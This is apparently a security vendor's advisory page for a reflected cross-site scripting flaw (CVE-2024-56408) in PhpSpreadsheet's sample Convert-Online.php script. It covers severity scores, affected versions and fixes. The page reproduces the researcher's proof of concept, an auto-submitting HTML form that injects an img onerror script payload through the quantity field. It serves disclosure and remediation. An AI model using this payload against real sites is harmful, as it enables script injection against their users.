How severe is GHSA-x88g-h956-m5xg?

GHSA-x88g-h956-m5xg has a CVSS score of 7.1/10, rated HIGH. Immediate patching is strongly recommended.

Which packages are affected by GHSA-x88g-h956-m5xg?

GHSA-x88g-h956-m5xg affects the following packages: phpoffice/phpspreadsheet (Packagist), phpoffice/phpspreadsheet (Packagist), phpoffice/phpspreadsheet (Packagist), phpoffice/phpspreadsheet (Packagist), phpoffice/phpexcel (Packagist). Ecosystems affected: Packagist.

How do I fix GHSA-x88g-h956-m5xg?

Update phpoffice/phpspreadsheet to 3.7.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-x88g-h956-m5xg is resolved across your whole dependency graph.

How do I detect GHSA-x88g-h956-m5xg in my Packagist dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for phpoffice/phpspreadsheet. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

How do I mitigate GHSA-x88g-h956-m5xg if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against GHSA-x88g-h956-m5xg?

O3 pinpoints whether GHSA-x88g-h956-m5xg is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Is GHSA-x88g-h956-m5xg actively exploited in the wild?

No public exploit code has been indexed for GHSA-x88g-h956-m5xg yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

What is the EPSS score for GHSA-x88g-h956-m5xg?

GHSA-x88g-h956-m5xg has an EPSS (Exploit Prediction Scoring System) score of 0.4%, placing it in the 31th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

What type of vulnerability is GHSA-x88g-h956-m5xg?

GHSA-x88g-h956-m5xg is classified as Cross-site Scripting (XSS) (CWE-79). This weakness type describe the underlying flaw category, which helps determine the potential impact and the right class of mitigation. This is a high-impact weakness class that often enables remote code execution or data exposure.

When was GHSA-x88g-h956-m5xg published, and has it been updated?

GHSA-x88g-h956-m5xg was published on January 3, 2025 and was last updated on May 20, 2025. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

🐘 Packagist

GHSA-x88g-h956-m5xg

HIGH

PhpSpreadsheet allows unauthorized Reflected XSS in `Convert-Online.php` file

Also known asCVE-2024-56408

Published

Jan 3, 2025

Updated

May 20, 2025

Affected

5 pkgs

Patched

4 / 5

Exploits

None indexed

EPSS Exploitation Probability

via FIRST.org ↗

0.4%probability of exploitation in next 30 days

Lower Risk31th percentile-1.00%

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

5 pkgs affected

🐘phpoffice/phpspreadsheet🐘phpoffice/phpspreadsheet🐘phpoffice/phpspreadsheet🐘phpoffice/phpspreadsheet🐘phpoffice/phpexcel

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Unauthorized Reflected XSS in `Convert-Online.php` file

Product: Phpspreadsheet Version: version 3.6.0 CWE-ID: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') CVSS vector v.3.1: 8.2 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N) CVSS vector v.4.0: 8.3 (AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L) Description: using the /vendor/phpoffice/phpspreadsheet/samples/Engineering/Convert-Online.php script, an attacker can perform a XSS-type attack Impact: executing arbitrary JavaScript code in the browser Vulnerable component: the /vendor/phpoffice/phpspreadsheet/samples/Engineering/Convert-Online.php file Exploitation conditions: an unauthorized user Mitigation: sanitization of the quantity variable Researcher: Aleksey Solovev (Positive Technologies)

Research

The researcher discovered zero-day vulnerability Unauthorized Reflected Cross-Site Scripting (XSS) (in Convert-Online.php file) in Phpspreadsheet.

There is no sanitization in the /vendor/phpoffice/phpspreadsheet/samples/Engineering/Convert-Online.php file, which leads to the possibility of a XSS attack.

fig4

Figure 4. The message with the quantity parameter is displayed without sanitization

The following figure shows a POST HTTP-request and a response to the server with the variable quantity, which is displayed in the response from the server without sanitization.

Figure 5. In the server's response , the quantity variable is displayed without sanitization

An attacker can prepare a special HTML form that will be automatically sent to the vulnerable scenario.

Listing 3. HTML form that demonstrates the exploitation of the XSS vulnerability

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://192.***.***.***/vendor/phpoffice/phpspreadsheet/samples/Engineering/Convert-Online.php" method="POST">
      <input type="hidden" name="category" value="Weight&#32;and&#32;Mass" />
      <input type="hidden" name="quantity" value="1&#46;0&lt;img&#32;src&#61;1&#32;onerror&#61;alert&#40;&#41;&gt;" />
      <input type="hidden" name="fromUnit" value="g" />
      <input type="hidden" name="toUnit" value="g" />
      <input type="hidden" name="submitx" value="Convert" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

After the user visits the attacker's resource, the form will be sent to the vulnerable scenario, which will lead to the execution of arbitrary code in the client's browser.

Figure 6. Executing arbitrary JavaScript code

Credit

This vulnerability was discovered by Aleksey Solovev (Positive Technologies)

Affected Packages

5 total 4 fixed

Ecosystem	Package	Vulnerable range	Fix
🐘Packagist	`phpoffice/phpspreadsheet`	≥ 3.0.0&&< 3.7.0	3.7.0
🐘Packagist	`phpoffice/phpspreadsheet`	all versions	1.29.7
🐘Packagist	`phpoffice/phpspreadsheet`	≥ 2.0.0&&< 2.1.6	2.1.6
🐘Packagist	`phpoffice/phpspreadsheet`	≥ 2.2.0&&< 2.3.5	2.3.5
🐘Packagist	`phpoffice/phpexcel`	all versions	No fix

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for phpoffice/phpspreadsheet. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update phpoffice/phpspreadsheet to 3.7.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-x88g-h956-m5xg is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-x88g-h956-m5xg is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-x88g-h956-m5xg. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

# Unauthorized Reflected XSS in `Convert-Online.php` file **Product**: Phpspreadsheet **Version**: version 3.6.0 **CWE-ID**: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') **CVSS vector v.3.1**: 8.2 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N) **CVSS vector v.4.0**: 8.3 (AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L) **Description**: using the `/vendor/phpoffice/phpspreadsheet/samples/Engineering/Convert-Online.php` script, an attacker can perform a XSS-type attack **Impact**: executing arbitrary JavaScript code in the browser **Vulnerable compo

O3 Security · Impact-Aware SCA

Is GHSA-x88g-h956-m5xg in your dependencies?

O3 detects GHSA-x88g-h956-m5xg across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

Scan my dependencies How O3 SCA works